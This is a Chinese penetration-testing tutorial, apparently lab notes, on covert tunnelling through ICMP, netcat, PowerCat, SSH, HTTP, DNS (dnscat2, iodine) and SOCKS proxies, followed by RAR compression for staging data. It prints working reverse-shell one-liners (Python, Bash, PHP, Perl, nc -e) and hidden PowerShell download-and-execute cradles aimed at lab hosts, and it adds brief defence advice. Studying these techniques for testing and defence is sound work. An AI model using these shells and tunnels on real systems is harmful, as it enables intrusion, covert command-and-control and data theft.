隐藏通讯隧道技术

完成内网信息收集后,渗透测试人员需要判断流量是否进得去、出得来。隐藏通信隧道技术通常用于在访问受限的网络环境中追踪数据流向和在非信任的网站中实现安全数据传输。

隐藏通讯隧道技术基础知识

隐藏隧道简述

隧道就是一种绕过端口屏蔽的通信方式,防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方进行通信。当被封装的数据包到达目的地时,将数据包还原,并将还原的后的数据包发送到响应的服务器上。

常用的隧道举例:

  • 网络层:IPv6,ICMP,GRE
  • 传输层:TCP,UDP,常规端口转发
  • 应用层:SSH,HTTP,HTTPS,DNS

判断内网的连通性

判断内网的连通性是指判断机器能否上外网等。需要综合各种协议(TCP、HTTP、DNS、ICMP等)和端口通信的情况。常规允流量许流出的端口有 : 80、8080、443、53、110、123等。

  • CMP协议
ping
  • TCP协议
nc -nv IP port
  • HTTP协议

curl 是一个利用url规则在命令行下工作的综合文件传输工具,支持文件的上传下载。

curl www.baidu.com 80
  • DNS协议

nslookup、dig

nslookup www.baidu.com

还有一种情况是流量不能直接流出,需要在内网中设置代理服务器,常见于通过企业办公网段上网的情景。

常用判断方法:

1、查看网络连接,看是否存在于其他机器8080(不绝对)等端口的连接。
2、查看内网中是否有主机名类似proxy的机器。
3、查看IE等浏览器的直接代理。
4、根据pac文件的路径(可能是本地路径,也可能是远程路径),将其下载下来查看。
5、执行curl命令确认
命令:

curl www.baidu.com                         //不通
curl -x proxy-ip:port www.baidu.com     //通

网络层隧道技术

网络层常用的隧道协议是IPv6和ICMP。

IPv6隧道

通过IPv4隧道传送IPv6隧道数据报文。将IPv6报文整体封装到IPv4数据报文中,使IPv6报文能够穿过IPv4海洋,到达另一个IPv6小岛。

ICMP隧道

一般通信协议下,两台设备要进行通信,就需要开放端口,而ICMP协议则不需要。
将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙

常用工具

icmpsh、PingTunnel、icmptunnel、powershell icmp

  • icmpsh

工具使用是比较方便,可以跨平台,运行时不需要管理员权限。

下载地址:https://github.com/inquisb/icmpsh

因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入如下命令来关闭本地系统的icmp应答

sysctl -w net.ipv4.icmp_echo_ignore_all=1        //恢复icmp应答,改值为0

接着在kali上运行

python icmpsh_m.py [kali的ip]  [win7的ip]  

在目标机器上执行

icmpsh.exe -t [kali的ip]或
icmpsh.exe -t 192.168.0.11 -d 500 -b 30 -s 128

传输层隧道技术

在渗透测试中,如果内网防火墙阻止了对指定端口的访问,在获得目标机器的权限后,可以使用IPTABLES打开指定的端口。如果内网中存在一定防御系统,TCP,UDP流量被大量拦截。

lcx

lcx是一个很经典的端口转发工具,其基于Socket套接字,有Windows和Linux两个版本。Windows的为lcx.exe,Linux的为portmap。

1.内网端口转发

目标机器:lcx.exe -slave VPS公网主机ip 公网端口10099 127.0.0.1 3389

VPS:lcx -listen 10099 10098

我们即可在本地访问目标机器的远程访问。

远程访问 VPS_IP:10098

如果仅仅是限制的某些端口的访问,我们可以直接将其转发到其他端口即可

lcx -tran 53 IP 3389

nc

链接远程主机

nc -nvv 192.168.252.138 80

端口扫描

nc -v 192.168.252.138 80

扫描端口段

nc -v -z 192.168.252.138 20-1024

端口监听

nc -l -p 9999

文件传输

在本地vps主机中输入如下命令,开始监听等待连接,一旦连接建立,数据遍会流入。

首先接收方执行

nc -lp 333 >1.txt

接着发送方执行

nc -vn 192.168.252.133 333 < test.txt

在接收方查看文件

文字通讯

VPS中执行

nc -l -p 888
nc -vn 192.168.252.133 888

获取shell

shell分为两种,一种是正向shell,另一种是反向shell。如果客户端连接服务器,客户端主动连接服务器,就称为正向shell。如果客户端连接服务器,服务器想要获得客户端的shell,就称为反向shell。反向shell通常用在开起了防护措施的目标机器上,例如防火墙过滤、端口转发等。

1.正向shell

使用如下命令进行对目标主机的4444端口

nc -lvp 4444 -e /bin/sh                          //linux
nc -lvp 4444 -e c:\windows\system32\cmd.exr     //windows

连接目标主机的4444端口

nc 192.168.252.132 4444

接受到返回的shell

2.反向shell

使用如下命令监听本地的9999端口

nc -lvp 9999

在目标主机中执行如下命令,连接正在监听9999端口的主机

nc 192.168.252.132 9999 -e /bin/sh                        //linux
nc 192.168.252.132 9999 -e c:\windows\system32\cmd.exe     //windows

在目标主机中没有nc情况下获取反向shell

一般情况下主机中是没有nc的,此时我们可以尝试使用自带的编程语言来代替nc。

1.python反向shell

本地主机上监听2222端口

nc -lvp 2222

目标主机上执行

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

2.Bash反向shell

在本地执行如下命令

nc -lvp 4444
bash -i >& /dev/tcp/192.168.252.132/4444 0>&1

3.php反向shell

本地住址或vps执行

nc -lvp 2222

目标主机执行

php -r '$sock=fsockopen("192.168.252.132",2222);exec("/bin/sh -i <&3 >&3 2>&3");'

4.Perl反向shell

本地或vps执行

nc -lvp 2233

目标主机执行

perl -e 'use Socket;$i="192.168.252.132";$p=2233;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

内网代理

当前我们构建的测试环境为:攻击者VPS,一个小型内网,三台服务器。这里为模拟一个网络环境。

假设VPS已经获取web服务器的权限,kali无法访问数据库服务器,web服务器可以访问数据库服务器。我们这里目标为获取数据库服务器的shell。

首先在VPS中输入如下命令,监听3333端口

nc -lvp 9999    

数据库执行

nc -lvp 9999 -e c:\windows\system32\cmd.exe

web服务器中执行

nc -v 192.168.252.133 9999 -c "nc -v 192.168.252.132 9999"

PowerCat

PowerCat可以说是nc的powershell版本

1.下载powercathttps://github.com/besimorhino/powercat

直接执行脚本会提示权限不足,我们先执行Set-ExecutioPolicy RemoteSigned

接着脚本就可以正常运行了。

测试环境

操作系统                IP
windows7        192.168.252.132     192.168.52.133
server2008        192.168.52.138
kali            192.168.252.133

2.通过nc正向连接Powercat

再windows7上执行powercat -l -p 8080 -e cmd.exe -v

在kali上执行netcat 192.168.252.132 8080 -vv,我们可以看到已经得到shell

3.通过nc反向连接powercat

在kali中执行netcat -l -p 8899 -vv

在windows7中执行powercat -c 192.168.252.133 -p 8899 -v -e cmd.exe,-c是目标kali的地址

4.通过PowerCat返回powershell

返回powershell无法与nc进行交互,这里我们使用win7和server2008建立正向连接

2008中执行,下载脚本文件

IEX (New-Object Net.WebClient).DownloadString('http://192.168.52.133/powercat.ps1')

(new-object net.webclient).downloadfile("http://192.168.52.133/powercat.ps1","powercat.ps1")

在windows中执行

powercat -c 192.168.52.138 -p 9999 -v -ep

5.通过powercat传输文件

首先在win7中c盘下创建一个1.txt文件,接着在server2008中执行

powercat -l -p 9999 -of 1.txt -v

win7中执行

powercat -c 192.168.252.138 -p 9999 -i c:\1.txt -v

6.用powercat生成payload

使用powercat生成payload分正反向之分,且可以对其进行编码。

首先在win7中执行如下命令,生成一个payload

powercat -l -p 8000 -e cmd -v -g >> shell.ps1

接着在server2008中执行该脚本

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://192.168.252.133/shell.ps1')"

powershell -nop -c "iex(new-object net.webclient).downloadfile('http://192.168.52.133/shell.ps1','shell.ps1');.\shell.ps1"

最后在win7中执行

powercat -c 192.168.52.138 -p 8000 -v

7.powercat dns隧道通讯

powercat也是一套基于dns通讯的协议,powercat的dns通讯是基于dnscat设计的,在使用dnscat之前,需要依次执行如下命令进行下载和编译。

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
gem install bundler
bundle install

然后在安装了dnscat的kali上执行

ruby dnscat2.rb ttpowercat.test -e open --no-cache

接着,在win7上执行如下命令,可以看到dnscat返回的shell(-dns代表使用dns信道)

powercat -c 192.168.252.135 -p 53 -dns ttpowercat.test -e cmd.exe

我们在kali中执行

session -i 1
whoami

8.将powercat作为跳板

测试环境和之前相同,win7可以访问kali和server2008,kali和server2008无法互相访问。测试目标将win7作为跳板,让kali主机连接server2008.

首先,在server2008中执行如下命令

powercat -l -v -p 9999 -e cmd.exe

接着在win7中执行如下命令

powercat -l -v -p 8000 -r tcp:192.168.52.138:9999

最后在kali中执行

nc 192.168.252.132 8000 -vv

我们还可以使用dns协议,我们先在win7中执行(其中的ip地址是kali的地址)

powercat -l -p 8000 -r dns:192.168.252.135::ttpowercat.test

在kali中执行如下命令,启动dnscat

ruby dnscat2.rb ttpowercat.test -e open --no-cache

在server2008中执行

powercat -c 192.168.52.131 -p 8000 -v -e cmd.exe

最终我们在kali中执行session -i 1,我们可以看到返回的shell

应用层隧道技术

SSH协议

在内网中,几乎所有的Linux/UNIX服务器和网络设备都支持SSH协议。在一般情况下, SSH协议是被允许通过防火墙和边界设备的,所以经常被攻击者利用。同时,SSH协议的传输过程是加密的,所以我们很难区分合法的SSH会话和攻击者利用其他网络建立的隧道。攻击者使用SSH端口隧道突破防火墙的限制后,能够建立一些之前无法建立的TCP连接。
常见的SSH命令

ssh root@ip

创建SSH隧道的常用参数说明如下。

-C:压缩传输,提高传输速度。
-f:将SSH传输转人后台执行,不占用当前的Shell。
-N:建立静默连接(建立了连接,但是看不到具体会话)。
-g:允许远程主机连接本地用于转发的端口。
-L:本地端口转发。
-R:远程端口转发
-D:动态转发(socks代理)
-P:指定SSH端口

1.本地转发

我们测试环境和之前的配置相同:一个kali攻击机,web服务器,server2008数据库服务器。其中kali和web服务器可以通讯,web服务器和server2008可以直接通讯,kali和server2008不能通讯。

测试目标:以web服务器为跳板,将内网server2008的3389端口映射到kali机器的1153端口,再用本地机器访问kali的1153端口就可以访问server2008的3389端口。

首先在kali上执行如下命令,要求输入web服务器的密码,这里由于设置无法ssh连接,所以我们修改/etc/ssh/sshd_config中的PermitRootLogin的字段改为yes即可。

ssh -CfNg -L (VPS端口):(目标主机):(目标端口) 跳板机
ssh -CfNg -L 1153:192.168.52.138:3389 root@192.168.252.174

输入密码之后,我们查看本地1153端口是否已经连接

netstat -tulnp | grep "1153"

接着我们在kali上执行如下命令进行连接

rdesktop 127.0.0.1:1153

这里我们连接的时候出现了问题,这种情况是因为我们在server2008中配置如下导致的

之后当我们将server2008的远程修改为如下可以正常连接

但是配置为较不安全的那个选项不常见,所以我们换一种方式连接,安装remmina,使用remmina连接即可。

apt install remmina
完成后命令行执行remmina

2.远程转发

这次我们的测试环境为:攻击机kali,一个小型内网包含三台服务器,内网没有边界设备,外网无法直接访问内网中的三台服务器;内网web服务器可以直接访问外网VPS,其他两个无法访问外网VPS

测试目标为:通过外网VPS访问数据库服务器的3389端口。

3.动态转发

测试拓扑图如下

在VPS上执行如下命令,建立一个动态的SOCKS 4/5代理通道,输入Web服务器的密码

ssh -CfNg -D 7000 root@192.168.252.174

我们查看本地7000端口,可以看到,本地主机的SSH进行正在监听7000端口

接着我们打开浏览器设置代理,通过浏览器访问192.168.52.134.

动态端口映射就是建立一个SSH加密的SOCKS4/5代理通道。任何支持SOCKS4/5协议的程序都可以使用这个加密通道进行代理访问。

可以成功访问内网服务器

4.防御SSH隧道攻击的思路

ssh隧道之所以能被攻击者利用,主要是因为系统访问控制措施不够。在系统中配置ssh远程管理白名单,在ACL中限制只有特定的ip地址才能连接ssh,以及设置系统完全使用带外管理等方法,都可以避免这一问题。至少要在内网中限制SSH远程登录的地址和双向访问控制策略。

===================================XXXXXXX===================================

HTTP/HTTPS协议

HTTP Service代理用于将所有的流量转发到内网。常见的代理工具有reGeorg、meterpreter.tunna等。
reGeorg是reDuh的升级版,主要功能是把内网服务器端口的数据通过HTTP/HTTPS隧道转发到本机,实现基于HTTP协议的通信。reGeorg 脚本的特征非常明显,很多杀毒软件都会对其进行查杀。

python reGeorgSocksProxy.py -u http://192.168.52.134/CSRFGuardTestApp/tunnel.jsp -p 9999

===================================XXXXXXX===================================

DNS协议

DNS协议是域名解析协议,在域名和IP地址之间进行转换,该协议也是一种请求/应答协议,也是一种可用于应用层的隧道技术。DNS,ICMP,HTTP/HTTPS等难以禁用的协议已成为攻击者控制隧道的主流隧道。

DNS隧道工作的原理:在进行DNS查询时。如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交换。从DNS协议的角度看,这样的操作只是在一次次地查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个IP地址,而事实上返回的可以是任意字符串,包括加密的C&C指令。

dnscat2

dnscat2是一款开源软件,下载地址:https://github.com/iagox86/dnscat2

dnscat2隧道 的模式有两种,分别是直连模式和中继模式

  • 直连模式:客户端直接指向IP地址的DNS服务器发起DNS解析请求
  • 中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。与直连模式相比,中继模式的速度较慢

如果目标内网放行所有的DNS请求,dnscat2会使用直连模式,通过UDP的53端口进行通讯(不需要域名,速度快,而且看上去当然像普通的DNS查询)。在请求日志中,所有的域名都是以”dnscat“开头的,因此防火墙可以很容易地将直连模式的通讯检测出来。

如果目标内网的请求仅限于白名单服务器或指定的域,dnscat2会使用中继模式来申请一个域名,并将运行dnscat2服务端的服务器指定为受信任的DNS服务器。

DNS隧道的应用场景如下:在安全策略严格的内网环境中,常见的 C&C 通信端口会被众多安全设备所监控,该网段只允许白名单流量出站,同时其他端口都被屏蔽,传统的C&C通信无法建立。这种情况下,我们可以选择使用DNS建立隐蔽隧道建立通信。

  • 支持多个会话
  • 流量加密
  • 使用密钥防止MiTM攻击
  • 在内存中直接执行PowerShell脚本
  • 隐蔽通信

(1)部署域名解析

开始之前我们需要准备一个外网的VPS服务器Linux操作系统以及一个可以配置的域名。

首先我们需要创建记录A,将自己的域名解析服务器执行VPS服务器(VPS的ip地址)。然后创建NS记录,将dnsch子域名的解析结果指向ns.域名

第二条A类解析的结果是:告诉域名服务器,ns1.域名的IP地址为后面的值。

第五条NS类型的解析结果是:告诉域名服务器vpn.域名的地址为ns1.域名

设置NS类型的记录是因为NS类型的记录不是用于设置某个域名的DNS服务器,而是用于设置某个子域名的DNS服务器。

接着我们测试我们配置是否成功,我们在本机输入ping ns.域名,如果该命令成功执行并且IP地址是我们配置的VPS的IP地址,说明第二条的A类解析配置成功。

接下来我们在VPS上进行抓包(53端口UDP包),命令如下

tcpdump -n -i eth0 udp dst port 53

然后再本地命令行执行

nslookup vpn.域名

然后我们可以在云服务器中看到如下,说明NS解析已经生效。如果没有显示尝试开放防火墙中的53端口。

(2)安装dnscat2服务端

我们在VPS服务器上安装dnscat2服务端。因为服务端是用Ruby语言编写的所以我们需要配置Ruby环境。

sudo apt update
sudo apt install ruby-full

接着我们再安装一些依赖包

apt-get install gem
apt-get install ruby-dev
apt-get install libpq-dev
apt-get install ruby-bundler

apt-get install git
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
apt-get -y install ruby-dev git make g++
gem install bundler
bundle install

接着我们执行如下命令启动服务端

sudo ruby ./dnscat2.rb vpn.makeamericagreatagain.space -e open -c alexsel --no-cache

其中-e规定安全级别,"open" 表示服务端允许客户端不进行加密,-c 是自定义的连接密码,--no-cache 禁止缓存

这里执行53端口被占用,我们执行如下命令来结束占用的进程

systemctl stop systemd-resolved

然后再执行sudo ruby ./dnscat2.rb vpn.makeamericagreatagain.space -e open -c alexsel.com --no-cache即可。

我们还可以采用直连模式,命令如下

sudo ruby ./dnscat2.rb --dns server=127.0.0.1,port=533,type=TXT --secret=alexsel

以上命令标识监听本机的533端口,自定义的链接密码为alexsel

-c:参数定义了pre-shared secret,在服务器端和客户端使用相同加密的密码alexsel,可以防止man-in-the-middle攻击。否则传输数据并未加密,有可能被监听网络流量的第三方还原;如果不加定义,Dnscat2会生成一个字符串,记得拷贝下来在启动客户端时使用。
-e:参数可以规定安全级别,open代表让客户端进行选择。
--no-cache:禁止缓存。务必在运行服务器时添加无缓存选项,因为powershell-dnscat2客户端与dnscat2服务器的caching模式不兼容

(3)在目标主机上安装客户端

dnscat2客户端是使用C语言编写的,因此在使用前需要进行编译。Windows中可以使用VS进行编译;在linux中,直接运行"make install"命令可以进行编译。

Linux下:
git clone https://github.com/iagox86/dnscat2.git
make

Windows下可以直接下载编译好的:
http://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-win32.zip

我们目标机器是Win7,在服务端建立之后,我们在win7执行如下命令,测试是否能与服务端通讯

dnscat2-v0.07-client-win32.exe --ping vpn.域名

执行如下命令,连接服务端

dnscat2-v0.07-client-win32.exe --dns domain=vpn.域名 --secret

连接成功会显示“Session establishe!”,服务端显示

如果服务端使用的是直连模式,可以直接填写服务器的IP地址(不通过dns服务提供商),向dnscat2服务端所在的IP地址请求DNS解析,命令如下

dnscat --dns server=你的dnscat2服务端的IP,port=533,type=TXT --secret=alexsel

推荐使用PowerShell版本的dnscat2客户端dnscat2-powershell,下载地址:https://github.com/lukebaggett/dnscat2-powershell。如果使用Powershell版的要求目标Win机器需要支持powerShell2.0以上版本。

把脚本下载到目标机器中,执行如下命令

Import-Module .\dnscat2.ps1

当然,也可以执行如下命令来加载脚本,这里最好将dnscat2.ps1放到自己的服务器上,用github可能下载失败,我这里上传到了自己的服务器上进行加载。

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')

加载脚本之后,执行如下命令开启dnscat2-powershell服务

start-Dnscat2 -Domain vpn.域名 -DNSServer 服务器的IP

输入以下命令,使用IEX加载脚本,在内存中打开dnscat2客户端

powershell.exe -nop -w hidden -c {IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');start-Dnscat2 -Domain vpn.域名 -DNSServer 服务器的IP}

连接后,可以直接建立PowerShell会话。执行如下命令创建一个控制台,然后执行PowerShell命令和脚本

exec psh

(4)反弹shell

dnscat2服务端使用的是交互模式,所有的流量都由DNS来处理。dnscat2的使用方法和Metasploit类似。

在客户端运行了dnscat2.ps1脚本,服务器中可以看到客户端上线的提示

客户端和服务端建立连接之后,服务端将处于交互模式,输入windows或者sessions命令,可以查看当前的控制进程(每个连接都是独立的)

输入winodw -i 1或者session -i 1命令,进入目标连接。输入shell命令打开另外一个会话,建立一个交互环境。输入dir命令,查看当前目录。

我们可以使用exec来远程打开程序,输入以下命令在目标机器上打开一个记事本

exec notepad.exe

目标主机打开了记事本

输入download命令可以直接下载文件,需要注意的是download命令默认将所有数据先写入缓存,最后才会写入硬盘,所以在传输较大的文件时可能会出现长时间没有文件产生的情况。

输入help可以查看支持的命令

clear:清屏
delay:修改远程响应时间
exec:执行远程机器上的指定程序,例如Powershell
shell:得到一个反弹shell
download/upload:两端之间下载或上传文件,速度慢,适合小文件
suspend:返回上一层,相当于Ctrl+Z
listen:类似于SSH隧道的-L参数(本地转发),例如`listen 0.0.0.0:53 192.168.252.1:3389`
ping:用于确认目标机器是否在线。若返回”pong“说明机器在线
shutdown:切断当前会话
quit:退出dnscat2控制台
kill id:切断通道
windows:列举所有通道
windows -i id:连接某个通道 

dnsct2还提供了多域名并发的特性,可以级那个多个子域绑定在同一个NS下,然后再服务端同时接收多个客户端连接,命令如下

ruby dnscat2.rb --dns=port=53532 --security=open
start --dns domain=domain.com,domain=domain.com

iodine

iodine 可以通过一台 DNS 服务器制造一个 IPv4 数据通道,特别适合在目标主机只能发送 DNS 请求的网络环境使用。iodine 是基于 C 语言开发的,分别服务端程序 iodined 和客户端程序 iodine,Kali Linux 内置了 iodine。

下载地址:https://github.com/boazsegev/iodine

iodine不会对下行数据进行编码、支持多平台、支持16个并发连接、支持强制密码机制、支持多种 DNS 记录类型,支持同网段隧道 IP 地址(不同于服务器一客户端网段)、提供了丰富的隧道质量检测措施。

iodine支持直接转发和中继两种模式,其原理是通过TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一局域网(可以通过ping命令通信)。在客户端和服务端之间建立连接后,客户机上会多出一块“dns0”的虚拟网卡。

更多使用方法和功能特性请参考官方文档https://code.kryo.se/iodine/

(1)安装服务端

首先设置域名,这里尽可能使用段域名(域名越短,隧道的带宽消耗越小)。配置方面和我们之前的配置相同。

接着在服务端安装iodine,在windows中需要安装编译好的对应版本的iodine。kali中默认安装了iodine。基于Debian的Linux,执行如下命令进行安装。

apt-get install iodine

安装后就可以运行iodine了

iodined -f -c -P alexsel 192.168.0.1 vpn.域名 -DD  
#-f:在前台运行 
#-c:禁止检查所有传入请求的客户端IP地址。 
#-P:客户端和服务端之间用于验证身份的密码。 
#-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。 
#这里的192.168.0.1为自定义局域网虚拟IP地址,建议不要与现有网段冲突 
#后面的域名为我们设置的NS记录

完成配置后,可以通过iodine检查页面https://code.kryo.se/iodine/check-it检查配置是否正确。

配置无误却无法正常工作,需要检查服务端的防火墙配置情况。

(2)安装客户端

在Linux客户端上只需安装iodine客户端

下载地址:https://code.kryo.se/iodine/

iodine -f -P alexsel vpn.域名 -M 200

#-r:iodine有时会自动将DNS隧道切换为UDP隧道,该参数的作用是强制在任何情况下使用DNS隧道
#-M:指定上行主机的大小。
#-m:调节最大下行分片的大小。
#-f:在前台运行
#-T:指定DNS请求类型TYPE,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
#-O:指定数据编码规范。
#-P:客户端和服务端之间用于验证身份的密码。
#-L:指定是否开启懒惰模式,默认开启。
#-I:指定两个请求之间的时间间隔。

我们的目标环境windows,因为我们下载编译好的windows版本,同时安装TAP网卡驱动程序。也可以下载OpenVPN,安装的时候仅选择TAP-Win32驱动程序。安装后,服务器上多了一块为"TAP-Windows Adapter V9"的网卡。

将下载的iodine-0.6.0-rc1-win32解压,可以得到两个EXE文件和一个DLL文件。进入解压目录,输入如下命令

iodine -f -P alexsel vpn.域名

出现"Connection setup complete,transmitting data"表示DNS隧道已经建立了,如果ping 192.168.0.1失败查看之前的TAP-Windows Adapter V9(就是本地连接2)里的IPv4的地址。

(3)使用DNS隧道

DNS隧道的使用方法比较简单,由于客户端和服务端在同一个局域网中,只要直接访问服务端即可。如果我们要登录目标主机的3389端口,可以执行mstsc 10.0.0.1:3389命令。同样,在目标主机上可以通过SSH进行登录服务端。

在Linux下

ssh ubuntu@192.168.0.1
#输入密码登录成功

防御DNS隧道攻击的方法

1.禁止网络中任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信。

2.虽然没有人会将TXT解析请求发送给DNS服务器,但是邮件服务器/网关会这样做,因此,可以将邮件服务器/网关列入白名单并阻止传入和传出流量中的TXT请求。  

3.跟踪用户的DNS查询次数,如果达到阈值,就生成相应的报告

4.阻止ICMP

SOCKS代理

常见的网络场景有如下三类

  1. 服务器在内网中,可以任意访问外部网络。
  2. 服务器在内网中,可以访向外部网络,但服务器安装了防火墙拒绝敏感端口的连接。
  3. 服务器在内网中,对外只开放了部分端口(例如80端口),且服务器不能访问外部网络。

常用SOCKS代理工具

SOCKS是一种代理服务,可以简单地将一端的系统连接另端。SOCKS支持多种协议包括HTTP、FTP等。SOCKS分为SOCKS 4和SOCKS 5两种类型,SOCK 4只支持TCP协议,SOCKS 5不仅支持TCP/UDP协议,还支持各种身份验证机制等,其标准端口为1080。SOCKS能够与目标内网计算机进行通信,避免多次使用端口转发。SOCKS代理其实可理解为增强版的lcx。它在服务端监听一个服务端口,当有新的连接请求出现时,会先从SOCKS协议中解析出目标的URL和目标端口,再执行lex的具体功能。

1.EarthWorm
2.reGeorg
3.sSocks
4.SocksCap64
5.Proxifier
6.Proxychains

SOCKS代理技术在网络环境中的应用

EarthWorm的应用

渗透测试中,经常使用的SOCKS工具就是EW。该程序体积很小,Linux版本的程序只有30KB,Windows版本的程序也只有56KB,而且不需要其他设置。如果在Linux下执行的时候显示No such fileor directory,如果在有执行权限的时候,可能是因为操作系统位数和文件不一致

uname -a    #可以查看是多少位操作系统
file 执行文件        #查看执行文件位数
如果是64位操作系统32位文件,安装lib32z1即可
sudo apt-get install lib32z1

=================================XXXXXXXXXXXXXXX===============================

在我们介绍具体的用法之前,先介绍一下正向代理和反向代理的区别。正向代理是指主动通过代理来访问目标机器,反向代理是指目标机器通过代理进行主动连接。

我们的测试环境如下一个有外网IP的VPS,右边机器在一个内网里。

(1)正向SOCKS 5服务器

目标机器有一个外网IP地址的情况,我们目标机器是windows

ew -s ssocksd -l 888

执行完上述命令后,我们可以架设一个端口为888的SOCKS的代理。接下来我们可以使用SocksCap64添加这个IP地址的代理即可。

在安装SocksCap64完毕之后我们添加了默认浏览器,接着我们在代理中添加目标web主机的外网的IP

然后进行测试

(2)反弹SOCKS 5服务器

这种情况适用于目标机器没有公网IP地址,我们可以访问内网资源,在我们的VPS上执行如下命令,该命令的意思是在公网vps上添加一个转接隧道,把1008端口收到的代理请求转发给888端口。

ew -s rcsocks -l 10080 -e 8888

该命令的意思是:在公网vps上添加一个转接隧道,把1080端口收到的代理请求转发给888端口。

然后将ew上传到环境图右侧内网最上边的web服务器上执行如下命令,然后反弹到我们VPS的888端口上。

ew -s rssocks -d VPS的IP -e 8888

该命令的意思是:web服务器上启动SOCKS 5服务,然后反弹到我们VPS的8888端口。

最终我们可以在VPS看到成功界面。

在web目标web服务器上进行测试

(3)二级网络环境(a)

1641713058937

假设已经获取了A和B控制权限,现在的测试环境是主机A配有两块网卡,一块能访问外网,另一块只能访问B服务器,无法访问内网中的其他资源。但B服务器可以自由访问内网资源。配置这个网络环境只需在B主机的防火墙开启服务通行,其他的内网服务器防火墙禁止A主机访问就可以了。

首先将将EW上传到B主机中,利用ssocksd方式启动888端口的SOCKS代理,命令如下

ew -s ssocksd -l 8888

1641713124291

然后将ew上传到A主机上,执行如下命令

ew -s lcx_tran -l 1080 -f 192.168.52.148 -g 8888

1641713251818

该命令的意思是将1080端口收到的代理请求转发给B主机的888端口,现在我们就可以通过访问A主机外网的1080端口在B主机上架设的SOCKS 5代理了。

我们可以使用Proxychains通过A的外网代理1080端口来访问B

这里我们需要在/etc/proxychains.conf中将A的IP和端口添加进去,并修改为socks5

1641712535912

1641712359976

(4)二级网络环境(b)

假设我们已经获得主机A和主机B的权限,但是主机A既不能访问外网,也不能访问内网,主机B能访问内网,但是无法访问外网。在我们测试中,我们把之前A主机的外网网卡禁用即可。

1641719456532

首先我们将ew上传到VPS中,执行如下命令,意思是在公网VPS中添加转接隧道,将10800端口收到的代理请求发给888端口。

ew -s lcx_listen -l 10800 -e 8888

接着将ew上传到B主机中,并利用ssocksd方式启动999端口的SOCKS代理,命令如下

ew -s ssocksd -l 9999

1641719021815

然后我们在A主机中执行如下命令,该命令的意思是在A主机上利用lcx_slave方式,将公网的8888端口和B主机的9999端口进行连接。

ew -s lcx_slave -d VPS的IP -e 8888 -f B主机的IP -g 9999

1641652888369

最后,我们在公网VPS的命令行界面,我们可以看到,连接成功了。现在我们就可以通过访问公网VPS的10800端口使用在B主机上架设的SOCKS代理了。

1641652703723

我们继续使用proxychains成功进行了测试。

1641718952915

参考文章

2.在Windows下使用SocksCap64实现内网漫游

下载并安装SocksCap64,以管理员权限打开程序默认添加了浏览器,我们配置的环境如下,其中A可以访问外网,可以访问B,C主机。B、C无法访问外网。

1641798017418

我们在VPS中执行

ew_for_Win.exe -s rcsocks -l 10800 -e 8888

在A中执行

ew_for_Win.exe -s rssocks -d 124.223.44.152 -e 8888

我们在本地使用SocksCap64中设置代理,IP为VPS的ip。

1641798487465

接着测试隧道建立是否成功。

1641798812082

我们通过SocksCap64访问内网页面

1641799042465

还可以访问C主机的3389端口

1641799884886

3.在Linux下使用ProxyChains实现内网漫游

在Kali中已经预装了ProxyChains,我们只需简单配置即可使用,我们打开其配置文件

mousepad /etc/proxychains.conf

打开之后我们删除dynamic_chain前面的注释符号,在最后修改的我们想要访问的ip和端口

1641803780809

1641805917041

接着我们执行如下命令,但是提示未找到命令,接着我们执行第二条命令,再次执行第一条命令,我们可以看到执行成功

1641806117090

1641806161783

此时我们可以执行如下命令使用火狐浏览器访问内网

proxychains firefox

1641805873985

接着我们在测试Nmap和sqlmap,都可以正常执行

1641807566035

1641807692147

我们在尝试还行msf

proxychains msfconsole

1641808520284

1641808484220

压缩数据

在渗透测试中,下载数据是一项重要的工作,接下来我们就了解压缩软件在渗透测中的应用。

RAR

如果目标机器上安装了 WinRAR,可以直接使用;如果没有安装,可以在本地下载并安装,然后把 WinRAR安装目录里的 rar.exe文件提取出来,上传到目标机器中(安装 WinRAR的操作系统版本和目标机器的操作系统版本必须相同,否则可能会出错)
参数说明:

-a:添加要压缩的文件。
-k:锁定压缩文件
-s:生成存档文件(这样可以提高压缩比)。
-p:指定压缩密码
-r:递归压缩,包括子目录
-x:指定要排除的文件
-v:分卷打包,在打包大文件时用处很大。
-ep:从名称中排除路径。
-epl:从名称中排除基本目录
-mO:存储,添加到压缩文件时不压缩文件。
-ml:最快,使用最快压缩方式(低压缩比)
-m2:较快,使用快速压缩方式。
-m3:标准,使用标准压缩方式(默认)
-m4:较好,使用较强压缩方式(速度较慢)
-m5:最好,使用最强压缩方式(最好的压缩方式,但速度最慢)。

1.以RAR格式压缩解压

将C:web目录下的所有内容打包为1.rar,放到C:web1.rar目录下,命令如下

rar.exe a -k -r -s -m3 C:\web\1.rar C:\web

1641821398104

接下来我们将刚才压缩的文件C:web1.rar解压到根目录下

rar.exe e C:\web\1.rar
  • e:解压到当前根目录下
  • x:以绝对路径解压

1641821907533

ZIP格式压缩/解压的命令和RAR一样,只需将.rar改为.zip即可。

2.分卷压缩/解压

